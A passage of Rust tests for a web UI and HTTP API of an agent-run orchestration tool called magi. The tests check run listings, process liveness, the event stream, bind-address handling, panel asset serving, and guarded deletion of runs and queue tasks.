7874 ok: true,
7875 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
7876 });
7877 write_state(&f.runs(), &none_run);
7878
7879 let mut pr_run = RunState::new(
7880 PathBuf::from("/repo/magi"),
7881 "main".to_owned(),
7882 "0123456789abcdef".to_owned(),
7883 "Add a web UI".to_owned(),
7884 Config::default(),
7885 );
7886 pr_run.id = "20260902-140504-prcl".to_owned();
7887 pr_run.status = RunStatus::Ready;
7888 pr_run.merge = Some(crate::run::MergeOutcome {
7889 mode: crate::config::MergeMode::Pr,
7890 ok: false,
7891 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
7892 });
7893 write_state(&f.runs(), &pr_run);
7894
7895 let summary = f.get("/api/runs").await.json();
7896 let rows: std::collections::HashMap<&str, &Value> = summary
7897 .as_array()
7898 .expect("an array")
7899 .iter()
7900 .map(|r| (r["id"].as_str().expect("an id"), r))
7901 .collect();
7902 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
7903 assert_eq!(
7904 rows[none_run.id.as_str()]["unmerged_by_design"],
7905 true,
7906 "a mode-none Ready must be flagged in the list"
7907 );
7908 assert_eq!(
7909 rows[pr_run.id.as_str()]["unmerged_by_design"],
7910 false,
7911 "a Ready reached by a closed pull request is a different case"
7912 );
7913
7914 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
7915 assert_eq!(none_detail["status"], "ready");
7916 assert_eq!(none_detail["unmerged_by_design"], true);
7917
7918 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
7919 assert_eq!(pr_detail["unmerged_by_design"], false);
7920 }
7921
7922 #[tokio::test]
7927 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
7928 let f = Fixture::start().await;
7929 let id = "20260902-140502-bbbb";
7933 let mut state = RunState::new(
7934 PathBuf::from("/repo/magi"),
7935 "main".to_owned(),
7936 "0123456789abcdef".to_owned(),
7937 "Add a web UI".to_owned(),
7938 Config::default(),
7939 );
7940 state.id = id.to_owned();
7941 state.status = RunStatus::Judging;
7942 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
7943 let dir = f.runs().join(id);
7944 std::fs::create_dir_all(&dir).expect("run dir");
7945 std::fs::write(
7946 dir.join("run.json"),
7947 serde_json::to_string_pretty(&state).expect("serialize run"),
7948 )
7949 .expect("write run.json");
7950
7951 let cold = f.get(&format!("/api/runs/{id}")).await.json();
7957 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
7958 assert_eq!(cold["live"], "unknown", "{cold}");
7959
7960 write_daemon(f.home.path(), Timestamp::now());
7963 let warm = f.get(&format!("/api/runs/{id}")).await.json();
7964 assert_eq!(warm["live"], "live", "{warm}");
7965 }
7966
7967 #[tokio::test]
7974 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
7975 let f = Fixture::start().await;
7976 let id = "20260922-090000-cccc";
7977 let mut state = RunState::new(
7978 PathBuf::from("/repo/magi"),
7979 "main".to_owned(),
7980 "0123456789abcdef".to_owned(),
7981 "Review only".to_owned(),
7982 Config::default(),
7983 );
7984 state.id = id.to_owned();
7985 state.status = RunStatus::Reviewing;
7986 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
7987 state.driver_pid = Some(std::process::id());
7993 state.driver_started_at = Some(
7994 crate::proc::process_started_at(std::process::id())
7995 .expect("this test process's own start time must be queryable"),
7996 );
7997 let dir = f.runs().join(id);
7998 std::fs::create_dir_all(&dir).expect("run dir");
7999 std::fs::write(
8000 dir.join("run.json"),
8001 serde_json::to_string_pretty(&state).expect("serialize run"),
8002 )
8003 .expect("write run.json");
8004
8005 let detail = f.get(&format!("/api/runs/{id}")).await.json();
8006 assert_eq!(detail["live"], "live", "{detail}");
8007 }
8008
8009 #[tokio::test]
8015 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
8016 let f = Fixture::start().await;
8017 let id = "20260922-090100-dddd";
8018 let mut state = RunState::new(
8019 PathBuf::from("/repo/magi"),
8020 "main".to_owned(),
8021 "0123456789abcdef".to_owned(),
8022 "Review only".to_owned(),
8023 Config::default(),
8024 );
8025 state.id = id.to_owned();
8026 state.status = RunStatus::Reviewing;
8027 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8028 state.driver_pid = Some(std::process::id());
8033 state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
8034 let dir = f.runs().join(id);
8035 std::fs::create_dir_all(&dir).expect("run dir");
8036 std::fs::write(
8037 dir.join("run.json"),
8038 serde_json::to_string_pretty(&state).expect("serialize run"),
8039 )
8040 .expect("write run.json");
8041
8042 let detail = f.get(&format!("/api/runs/{id}")).await.json();
8043 assert_eq!(detail["live"], "dead", "{detail}");
8044 }
8045
8046 #[test]
8050 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
8051 let mk = |id: &str, pid: Option<u32>| {
8052 let mut s = RunState::new(
8053 PathBuf::from("/repo/magi"),
8054 "main".to_owned(),
8055 "0123456789abcdef".to_owned(),
8056 "Add a web UI".to_owned(),
8057 Config::default(),
8058 );
8059 s.id = id.to_owned();
8060 s.driver_pid = pid;
8061 s.driver_started_at = Some("t0".to_owned());
8062 s
8063 };
8064 let states = vec![
8065 mk("20260902-140502-aaaa", Some(77)),
8066 mk("20260902-140502-bbbb", Some(77)),
8067 mk("20260902-140502-cccc", Some(77)),
8068 mk("20260902-140502-dddd", None),
8069 ];
8070 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
8071 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
8072 let sup: HashMap<String, String> = [(
8073 "20260902-140502-aaaa".to_owned(),
8074 "20260902-140502-cccc".to_owned(),
8075 )]
8076 .into();
8077
8078 let status_calls = std::cell::Cell::new(0);
8079 let identity_calls = std::cell::Cell::new(0);
8080 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
8081 |_| {
8082 status_calls.set(status_calls.get() + 1);
8083 Some(true)
8084 },
8085 |_| {
8086 identity_calls.set(identity_calls.get() + 1);
8087 Some("t0".to_owned())
8088 },
8089 ));
8090 let rows = summarize(
8091 states,
8092 &open,
8093 &claimed,
8094 &sup,
8095 |p| probe.borrow_mut().status(p),
8096 |p| probe.borrow_mut().started_at(p),
8097 );
8098
8099 assert_eq!(status_calls.get(), 1, "one pid, one status query");
8100 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
8101 assert_eq!(rows.len(), 4);
8102 assert!(!rows[0].waiting && rows[1].waiting);
8103 assert_eq!(rows[0].live, crate::run::Liveness::Live);
8104 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
8105 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
8106 assert_eq!(rows[1].superseded_by, None);
8107 }
8108
8109 #[test]
8110 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
8111 let mut state = RunState::new(
8112 PathBuf::from("/repo/magi"),
8113 "main".to_owned(),
8114 "0123456789abcdef".to_owned(),
8115 "Review only".to_owned(),
8116 Config::default(),
8117 );
8118 state.id = "20260922-090200-dead".to_owned();
8119 state.status = RunStatus::Reviewing;
8120 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
8121 .expect("serialize list row");
8122 assert_eq!(row["status"], "reviewing");
8123 assert_eq!(row["live"], "dead", "{row}");
8124 assert!(!row["done"].as_bool().unwrap());
8125 }
8126
8127 #[tokio::test]
8128 async fn the_run_list_is_newest_first_and_honours_a_limit() {
8129 let f = Fixture::start().await;
8130 for id in [
8131 "20260902-140501-aaaa",
8132 "20260902-140502-bbbb",
8133 "20260902-140503-cccc",
8134 ] {
8135 write_run(&f.runs(), id, RunStatus::Merged);
8136 }
8137
8138 let all = f.get("/api/runs").await.json();
8139 let capped = f.get("/api/runs?limit=2").await.json();
8140
8141 assert_eq!(all[0]["id"], "20260902-140503-cccc");
8142 assert_eq!(all.as_array().map(Vec::len), Some(3));
8143 assert_eq!(capped.as_array().map(Vec::len), Some(2));
8144 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
8145 }
8146
8147 #[tokio::test]
8148 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
8149 let f = Fixture::start().await;
8150 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
8151
8152 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
8153
8154 assert_eq!(res.status, 200);
8155 assert!(
8156 res.headers
8157 .contains("content-type: text/plain; charset=utf-8"),
8158 "a browser must render it, not download it: {}",
8159 res.headers
8160 );
8161 assert!(
8165 res.body.contains("20260902-140501-a1b2"),
8166 "the report is about the run that was asked for: {}",
8167 res.body
8168 );
8169 }
8170
8171 #[tokio::test]
8172 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
8173 let f = Fixture::start().await;
8174
8175 let html = f.get("/").await;
8176 let css = f.get("/app.css").await;
8177 let js = f.get("/app.js").await;
8178
8179 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
8180 assert!(
8181 html.headers
8182 .contains("content-type: text/html; charset=utf-8")
8183 );
8184 assert!(css.headers.contains("content-type: text/css"));
8185 assert!(js.headers.contains("content-type: text/javascript"));
8186 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
8187 }
8188
8189 #[test]
8190 fn review_rounds_label_a_distinct_verified_head() {
8191 assert!(APP_JS.contains("round.verified_head"));
8192 assert!(APP_JS.contains("verified HEAD"));
8193 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
8194 }
8195
8196 #[test]
8197 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
8198 assert!(APP_JS.contains("blocked: { glyph:"));
8202 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
8203
8204 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
8208 assert!(
8209 APP_JS.contains(
8210 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
8211 ),
8212 "the note line must name what a blocked task is waiting on, not just that it is blocked"
8213 );
8214 assert!(APP_JS.contains("if (status === \"blocked\") {"));
8218
8219 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
8223 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
8224 assert!(
8225 APP_JS.contains("location.hash = \"#/questions\";"),
8226 "a question node must jump to the Questions screen, not pretend to be a task"
8227 );
8228
8229 assert!(APP_JS.contains("Resolved questions"));
8232 assert!(APP_JS.contains("r.answersList.append("));
8233 assert!(APP_CSS.contains(".task-answers"));
8234 }
8235
8236 #[test]
8237 fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
8238 assert!(
8243 APP_JS.contains(
8244 "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
8245 ),
8246 "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
8247 );
8248 assert!(
8249 !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
8250 "regression: the task link must not go back to naming the bare Backlog route"
8251 );
8252
8253 assert!(
8256 APP_JS.contains(
8257 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
8258 ),
8259 "`#/queue/<id>` must parse into a route carrying that id"
8260 );
8261
8262 assert!(APP_JS.contains("state.queueFocus = route.id;"));
8266 assert!(APP_JS.contains("function consumeQueueFocus()"));
8267 assert!(APP_JS.contains("jumpToTask(id);"));
8268 }
8269
8270 #[test]
8271 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
8272 assert!(
8281 APP_JS.contains(
8282 " if (!id || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
8283 ),
8284 "the search-clearing branch must run before state.queueFocus is cleared, or the \
8285 recursive renderQueue() call has nothing left to jump to"
8286 );
8287 assert!(
8288 APP_JS.contains("state.queueFocus = null;\n jumpToTask(id);"),
8289 "state.queueFocus must be cleared immediately before the jump it guards, not earlier"
8290 );
8291 }
8292
8293 #[test]
8294 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
8295 assert!(
8303 APP_JS.contains(
8304 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
8305 ),
8306 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
8307 );
8308 }
8309
8310 #[test]
8311 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
8312 assert!(
8313 APP_JS.contains("round.verified_head !== round.head"),
8314 "a round that verified an earlier commit must be visibly distinct from one that \
8315 verified the head reviewers are looking at now"
8316 );
8317 assert!(
8318 APP_JS.contains("round.verified_at"),
8319 "when a check ran must be on the wire, not just which commit"
8320 );
8321 assert!(
8322 APP_JS.contains("resource_blocked"),
8323 "a command magi never got to run (shared build cache contention) must not render \
8324 the same as a command that ran and failed"
8325 );
8326 }
8327
8328 #[tokio::test]
8329 async fn the_change_stream_announces_the_current_revisions_on_connect() {
8330 let f = Fixture::start().await;
8331
8332 let mut socket = tokio::net::TcpStream::connect(f.addr)
8333 .await
8334 .expect("connect");
8335 socket
8336 .write_all(
8337 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
8338 )
8339 .await
8340 .expect("write request");
8341
8342 let mut seen = String::new();
8345 let mut buf = [0u8; 1024];
8346 while !seen.contains("event: change") {
8347 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
8348 .await
8349 .expect("the stream must speak within five seconds")
8350 .expect("read");
8351 assert!(read > 0, "the server closed the change stream: {seen}");
8352 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
8353 }
8354
8355 assert!(
8356 seen.to_lowercase()
8357 .contains("content-type: text/event-stream"),
8358 "the browser only reconnects automatically for a real SSE stream: {seen}"
8359 );
8360 let data = seen
8361 .lines()
8362 .find_map(|l| l.strip_prefix("data:"))
8363 .expect("a data line");
8364 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
8365 assert!(
8366 payload["queue_rev"].is_u64()
8367 && payload["runs_rev"].is_u64()
8368 && payload["questions_rev"].is_u64()
8369 && payload["talks_rev"].is_u64()
8370 && payload["notifications_rev"].is_u64()
8371 && payload["loop_rev"].is_u64(),
8372 "the client needs one revision per store to know what to refetch, \
8373 and `talks_rev` is the only notification a standing talk gets - a \
8374 phone whose radio slept through a turn learns about it here, as \
8375 does one whose operator started the loop from another device: \
8376 {payload}"
8377 );
8378
8379 let health = f.get("/api/health").await.json();
8386 for key in [
8387 "queue_rev",
8388 "runs_rev",
8389 "questions_rev",
8390 "talks_rev",
8391 "notifications_rev",
8392 "loop_rev",
8393 ] {
8394 assert!(
8395 health[key].is_u64(),
8396 "health is the change stream's fallback and is missing `{key}`: {health}"
8397 );
8398 }
8399 }
8400
8401 #[tokio::test]
8402 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
8403 let f = Fixture::start().await;
8404 let before = f.get("/api/health").await.json()["talks_rev"]
8405 .as_u64()
8406 .expect("talks_rev");
8407
8408 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
8409 std::thread::sleep(Duration::from_millis(10));
8410 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
8411 on_disk.turns.push(crate::talk::Turn {
8412 who: crate::talk::Who::Operator,
8413 body: "a new turn".to_owned(),
8414 at: Timestamp::now(),
8415 attachments: Vec::new(),
8416 });
8417 f.talks().put(&mut on_disk).expect("record a turn");
8418
8419 let after = f.get("/api/health").await.json()["talks_rev"]
8420 .as_u64()
8421 .expect("talks_rev");
8422 assert_ne!(
8423 before, after,
8424 "a phone must be able to notice a talk's reply without polling every store"
8425 );
8426 }
8427
8428 #[test]
8429 fn bind_reads_back_from_the_spelling_the_cli_prints() {
8430 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
8434 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
8435 }
8436 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
8437 assert!("everywhere".parse::<Bind>().is_err());
8438 }
8439
8440 #[test]
8441 fn an_explicit_bind_address_is_taken_verbatim() {
8442 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
8443
8444 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
8445
8446 assert_eq!(addr, asked);
8447 assert!(
8448 warning.is_none(),
8449 "an operator who named an address gets no lecture"
8450 );
8451 }
8452
8453 #[test]
8454 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
8455 let (addr, warning) = resolve_bind(&Bind::Auto);
8456
8457 match addr {
8464 IpAddr::V4(ip) if is_tailnet(&ip) => {
8465 assert!(warning.is_none(), "a tailnet address needs no warning");
8466 }
8467 other => {
8468 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
8469 let warning = warning.expect("a fallback has to explain itself");
8470 assert!(
8471 warning.contains("127.0.0.1") && warning.contains("local-only"),
8472 "the warning says what happened and what it costs: {warning}"
8473 );
8474 }
8475 }
8476 }
8477
8478 #[test]
8479 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
8480 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
8484 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
8485 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
8486 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
8487 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
8488 }
8489
8490 #[test]
8491 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
8492 let ids = vec![
8493 "20260902-140501-aaaa".to_owned(),
8494 "20260902-140502-aabb".to_owned(),
8495 ];
8496
8497 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
8498 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
8499 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
8500
8501 assert_eq!(missing.status, StatusCode::NOT_FOUND);
8502 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
8503 assert_eq!(short, "20260902-140502-aabb");
8504 }
8505 #[tokio::test]
8506 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
8507 let fx = Fixture::start().await;
8513 let id = panel(
8514 &fx,
8515 "<img src=\"shot.png\">",
8516 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
8517 );
8518
8519 let doc = fx
8521 .get(&format!("/api/questions/{id}/panel/index.html"))
8522 .await;
8523 assert_eq!(doc.status, 200, "{}", doc.body);
8524 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
8525
8526 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
8527 assert_eq!(sibling.status, 200, "{}", sibling.body);
8528 assert_eq!(sibling.header("content-type"), Some("image/png"));
8529 assert_eq!(
8530 sibling.header("content-security-policy"),
8531 Some(PANEL_CSP),
8532 "the sibling route must carry the same policy as the asset route"
8533 );
8534
8535 assert_eq!(
8538 fx.head(&format!("/api/questions/{id}/panel")).await.status,
8539 200
8540 );
8541 }
8542
8543 #[test]
8544 fn runs_revision_moves_when_deleting_an_older_run() {
8545 let temp = TempDir::new().expect("tempdir");
8546 let runs = temp.path().join("runs");
8547 std::fs::create_dir_all(&runs).expect("create runs dir");
8548
8549 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
8550
8551 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
8552 std::thread::sleep(Duration::from_millis(10));
8553 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
8554
8555 let rev_before = runs_revision(&runs);
8556 assert!(rev_before > 0);
8557
8558 let old_dir = runs.join("20260901-100000-old1");
8559 std::fs::remove_dir_all(&old_dir).expect("remove old run");
8560
8561 let rev_after = runs_revision(&runs);
8562 assert_ne!(
8563 rev_before, rev_after,
8564 "deleting an older run must change the revision so other clients see the deletion"
8565 );
8566 }
8567
8568 fn write_state(runs: &FsPath, state: &RunState) {
8573 let dir = runs.join(&state.id);
8574 std::fs::create_dir_all(&dir).expect("run dir");
8575 std::fs::write(
8576 dir.join("run.json"),
8577 serde_json::to_string_pretty(state).expect("serialize run"),
8578 )
8579 .expect("write run.json");
8580 }
8581
8582 #[test]
8587 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
8588 let temp = TempDir::new().expect("tempdir");
8589 let runs = temp.path().join("runs");
8590 std::fs::create_dir_all(&runs).expect("create runs dir");
8591 let mut state = RunState::new(
8592 PathBuf::from("/repo/magi"),
8593 "main".to_owned(),
8594 "0123456789abcdef".to_owned(),
8595 "task".to_owned(),
8596 Config::default(),
8597 );
8598 state.id = "20260902-100000-c0de".to_owned();
8599 write_state(&runs, &state);
8600
8601 let rev_idle = runs_revision(&runs);
8602 std::thread::sleep(Duration::from_millis(10));
8603 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
8604 write_state(&runs, &state);
8605 let rev_started = runs_revision(&runs);
8606 assert_ne!(
8607 rev_idle, rev_started,
8608 "a seat starting must move the revision"
8609 );
8610
8611 std::thread::sleep(Duration::from_millis(10));
8612 state.seat_finished("judge-1");
8613 write_state(&runs, &state);
8614 let rev_finished = runs_revision(&runs);
8615 assert_ne!(
8616 rev_started, rev_finished,
8617 "and clearing it again must move the revision a second time"
8618 );
8619 }
8620
8621 #[tokio::test]
8622 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
8623 let fx = Fixture::start().await;
8628 let q = fx.queue();
8629
8630 let mut t = Task::new(
8631 "Task".to_owned(),
8632 "Instruction".to_owned(),
8633 PathBuf::from("/repo"),
8634 Source::Human,
8635 );
8636 t.block(
8637 vec!["20260101-000000-dead".to_owned()],
8638 Some("waiting on Task 1".to_owned()),
8639 );
8640 t.answers.push(crate::queue::AnsweredQuestion {
8641 question: "Which backend?".to_owned(),
8642 answer: "SQLite".to_owned(),
8643 });
8644 q.put(&mut t).expect("put t");
8645
8646 let res = fx.get("/api/queue").await;
8647 assert_eq!(res.status, 200);
8648 let list = res.json();
8649 let view = list
8650 .as_array()
8651 .expect("array")
8652 .iter()
8653 .find(|v| v["id"] == t.id)
8654 .expect("task in list");
8655 assert_eq!(view["status_str"], "blocked");
8656 assert_eq!(
8657 view["blocked_by"],
8658 serde_json::json!(["20260101-000000-dead"])
8659 );
8660 assert_eq!(view["block_reason"], "waiting on Task 1");
8661 assert_eq!(view["answers"][0]["question"], "Which backend?");
8662 assert_eq!(view["answers"][0]["answer"], "SQLite");
8663
8664 let res = fx
8668 .post(&format!("/api/queue/{}/hold", t.short()), None)
8669 .await;
8670 assert_eq!(res.status, 200);
8671 let held = res.json();
8672 assert_eq!(held["status_str"], "held");
8673 assert_eq!(held["blocked_by"], serde_json::json!([]));
8674 assert!(held["block_reason"].is_null());
8675 assert_eq!(held["answers"][0]["answer"], "SQLite");
8676 }
8677
8678 #[tokio::test]
8679 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
8680 let fx = Fixture::start().await;
8681 let q = fx.queue();
8682 let mk = |title: &str| {
8683 Task::new(
8684 title.to_owned(),
8685 "Instruction".to_owned(),
8686 PathBuf::from("/repo"),
8687 Source::Human,
8688 )
8689 };
8690 let mut root = mk("root");
8691 root.hold_manual(Some("waiting".to_owned()));
8692 q.put(&mut root).unwrap();
8693 let mut mid = mk("mid");
8694 mid.block(vec![root.id.clone()], None);
8695 q.put(&mut mid).unwrap();
8696 let mut leaf = mk("leaf");
8697 leaf.block(vec![mid.id.clone()], None);
8698 q.put(&mut leaf).unwrap();
8699
8700 let list = fx.get("/api/queue").await.json();
8701 let find = |id: &str| {
8702 list.as_array()
8703 .unwrap()
8704 .iter()
8705 .find(|v| v["id"] == id)
8706 .unwrap()
8707 .clone()
8708 };
8709 let leaf_view = find(&leaf.id);
8710 assert_eq!(
8711 leaf_view["waits_on"],
8712 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
8713 );
8714 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
8715 assert_eq!(
8716 find(&mid.id)["waits_on"],
8717 serde_json::json!([format!("{} (held)", root.short())])
8718 );
8719 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
8720 }
8721
8722 #[tokio::test]
8723 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
8724 let fx = Fixture::start().await;
8725 let q = fx.queue();
8726
8727 let mut t1 = Task::new(
8729 "Task 1".to_owned(),
8730 "Instruction 1".to_owned(),
8731 PathBuf::from("/repo"),
8732 Source::Human,
8733 );
8734 let run_id = "20260901-000000-r111";
8735 t1.runs.push(run_id.to_owned());
8736 write_run(&fx.runs(), run_id, RunStatus::Merged);
8737 q.put(&mut t1).expect("put t1");
8738
8739 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
8741 assert_eq!(res.status, 204);
8742 assert!(res.body.is_empty(), "204 No Content has no body");
8743 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
8744 assert!(
8745 fx.runs().join(run_id).exists(),
8746 "run directory must not be deleted when its task is deleted"
8747 );
8748
8749 let mut t2 = Task::new(
8751 "Task 2".to_owned(),
8752 "Instruction 2".to_owned(),
8753 PathBuf::from("/repo"),
8754 Source::Human,
8755 );
8756 t2.status = TaskStatus::Running;
8757 q.put(&mut t2).expect("put t2");
8758 let mut beat = crate::daemon::Status::new();
8759 beat.current = vec![crate::daemon::Current {
8760 task: t2.id.clone(),
8761 run: "20260901-000000-r222".to_owned(),
8762 }];
8763 beat.updated_at = jiff::Timestamp::now();
8764 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8765 .expect("publish a heartbeat");
8766 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
8767 assert_eq!(res.status, 409);
8768 assert!(
8769 res.json()["error"]
8770 .as_str()
8771 .unwrap()
8772 .contains("live daemon")
8773 );
8774 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
8775
8776 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
8782 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8783 .expect("leave a stale heartbeat");
8784 let mut t3 = Task::new(
8785 "Task 3".to_owned(),
8786 "Instruction 3".to_owned(),
8787 PathBuf::from("/repo"),
8788 Source::Human,
8789 );
8790 t3.status = TaskStatus::Running;
8791 q.put(&mut t3).expect("put t3");
8792 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
8793 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
8794 assert_eq!(res.status, 204);
8795 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
8796 assert!(
8797 q.claim(&t3.id).is_ok(),
8798 "the stale lock went with it, so the id is claimable again"
8799 );
8800
8801 let res = fx.delete("/api/queue/nonexistent").await;
8803 assert_eq!(res.status, 404);
8804 }
8805
8806 #[tokio::test]
8807 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
8808 let fx = Fixture::start().await;
8809 let runs = fx.runs();
8810
8811 let run_id = "20260901-000000-fold";
8813 let mut state = RunState::new(
8814 PathBuf::from("/repo"),
8815 "main".to_owned(),
8816 "abc".to_owned(),
8817 "instruction".to_owned(),
8818 Config::default(),
8819 );
8820 state.id = run_id.to_owned();
8821 state.status = RunStatus::Merged;
8822 state.candidates.push(crate::run::Candidate {
8823 index: 0,
8824 label: 'A',
8825 agent: "a".to_owned(),
8826 branch: "b".to_owned(),
8827 worktree: PathBuf::from("/w"),
8828 summary: String::new(),
8829 stat: String::new(),
8830 files: 1,
8831 commits: 1,
8832 empty: false,
8833 failed: None,
8834 verified_noop: None,
8835 duration_ms: 0,
8836 folded: true,
8837 });
8838 let dir = runs.join(run_id);
8839 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
8840 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
8841 .expect("write artifact");
8842 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
8843 .expect("write run.json");
8844
8845 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
8847 assert_eq!(res.status, 204);
8848 assert!(res.body.is_empty(), "204 has no body");
8849 assert!(!dir.exists(), "run directory and artifacts must be deleted");
8850
8851 let run_running = "20260901-000000-rung";
8856 write_run(&runs, run_running, RunStatus::Prep);
8857 let mut beat = crate::daemon::Status::new();
8858 beat.current = vec![crate::daemon::Current {
8859 task: "20260901-000000-task".to_owned(),
8860 run: run_running.to_owned(),
8861 }];
8862 beat.updated_at = jiff::Timestamp::now();
8863 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8864 .expect("publish a heartbeat");
8865 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
8866 assert_eq!(res.status, 409);
8867 assert!(
8868 res.json()["error"]
8869 .as_str()
8870 .unwrap()
8871 .contains("live daemon"),
8872 "the refusal must say who is holding it"
8873 );
8874 assert!(
8875 runs.join(run_running).exists(),
8876 "a run in flight keeps its directory"
8877 );
8878
8879 let run_unfolded = "20260901-000000-unfd";
8881 let mut state2 = RunState::new(
8882 PathBuf::from("/repo"),
8883 "main".to_owned(),
8884 "abc".to_owned(),
8885 "instruction".to_owned(),
8886 Config::default(),
8887 );
8888 state2.id = run_unfolded.to_owned();
8889 state2.status = RunStatus::Ready;
8890 state2.candidates.push(crate::run::Candidate {
8891 index: 0,
8892 label: 'A',
8893 agent: "a".to_owned(),
8894 branch: "b".to_owned(),
8895 worktree: PathBuf::from("/w"),
8896 summary: String::new(),
8897 stat: String::new(),
8898 files: 1,
8899 commits: 1,
8900 empty: false,
8901 failed: None,
